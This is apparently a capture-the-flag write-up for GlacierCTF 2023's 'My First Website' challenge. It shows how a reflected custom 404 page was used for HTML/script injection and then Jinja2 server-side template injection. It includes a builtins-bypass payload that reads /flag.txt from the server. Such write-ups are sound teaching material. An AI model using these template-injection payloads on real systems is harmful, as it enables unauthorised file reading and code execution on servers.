This web application looked very innocent at first glance.  
It displayed a simple calculator, where users could enter two operands and an
operator (addition, subtraction, multiplication, division).  
While there were some ways to get strange results, there was no obvious way to
proceed.

We assumed that this site was probably written in Python,  
since the way the result could be `inf` or `nan`  
was very similar to the way Python spelled those values.

![Simple Calculator](https://sigflag.at/assets/posts/glacierctf2023/my-first-
website/simple-calculator.png)

### The custom 404 page on `/projects`

What looked suspicious, however, was the request for this "other projects"
link in the footer.

```  
> GET /projects HTTP/2  
> Host: myfirstsite.web.glacierctf.com  
> user-agent: curl/7.68.0  
> accept: */*

< HTTP/2 200  
< date: Sat, 02 Dec 2023 18:07:18 GMT  
< content-type: text/html; charset=utf-8  
< content-length: 181  
< strict-transport-security: max-age=15724800; includeSubDomains

<html>  
<head>  
<title>Custom 404 Page</title>  
</head>  
<body>  
<h1>404 - Page Not Found</h1>  

Oops! The page you're looking for at /projects doesn't exist.

  
</body>  
</html>  
```

Interestingly, this page returned a status code of 200, but the content was a
404 page.  
This led us to believe that there was something wrong with this custom 404
page.

We noticed that we could inject arbitrary HTML into this page just by using it
as the URL path:

```  
https://myfirstsite.web.glacierctf.com/%3Cb%3EHAHA%3C/b%3E%3Cscript%3Ealert(1);%3C/script%3E  
```

![HTML injection](https://sigflag.at/assets/posts/glacierctf2023/my-first-
website/html-injection.png)

## Jinja2 template injection

Let's put together what we know so far:

\- The application is likely written in Python  
\- The application's custom 404 page is vulnerable to code injection  
\- [Flask](https://flask.palletsprojects.com/en/2.3.x/) is a popular Python
web framework  
\- Flask uses [Jinja2](https://jinja.palletsprojects.com/en/3.1.x/) as its
template engine

Flask allows you to return files with a mix of static and dynamic content:

```html

<section class="content">  
The message is: {{ message }}  
</section>  
```

Assuming that the application is written to just naively add the user input
(the URL path) to the response (a Jinja2-templated HTML file), we were able to
inject Jinja2 template code:

```  
{{ 1 + 1 }}  
```

![Jinja2 injection with simple
math](https://sigflag.at/assets/posts/glacierctf2023/my-first-
website/jinja2-injection-math.png)

With this, we have just discovered a way to execute arbitrary Python code on
the server:

```  
{{ range(1337)[-1] }}  
```

![Jinja2 injection with Python
code](https://sigflag.at/assets/posts/glacierctf2023/my-first-
website/jinja2-injection-python.png)

### Reading the flag

Assuming the flag is stored in `/flag.txt`, we tried to read it with the
following code:

```  
{{ open('/flag.txt').read() }}  
```

However, this gave us an internal server error - possibly because some built-
in functions were disabled.  
But as we learned from the Avatar challenge already, [there are many
alternatives to get to the built-in
functions](https://book.hacktricks.xyz/generic-methodologies-and-
resources/python/bypass-python-sandboxes). The following trick worked for us:

```  
{{ self.__init__.__globals__.__builtins__.open('/flag.txt').read() }}  
```

![Jinja2 injection to read the
flag](https://sigflag.at/assets/posts/glacierctf2023/my-first-
website/jinja2-injection-flag.png)

**The flag is `gctf{404_fl4g_w4s_f0und}` ?**

Original writeup (https://sigflag.at/blog/2023/writeup-glacierctf23-my-first-
website/).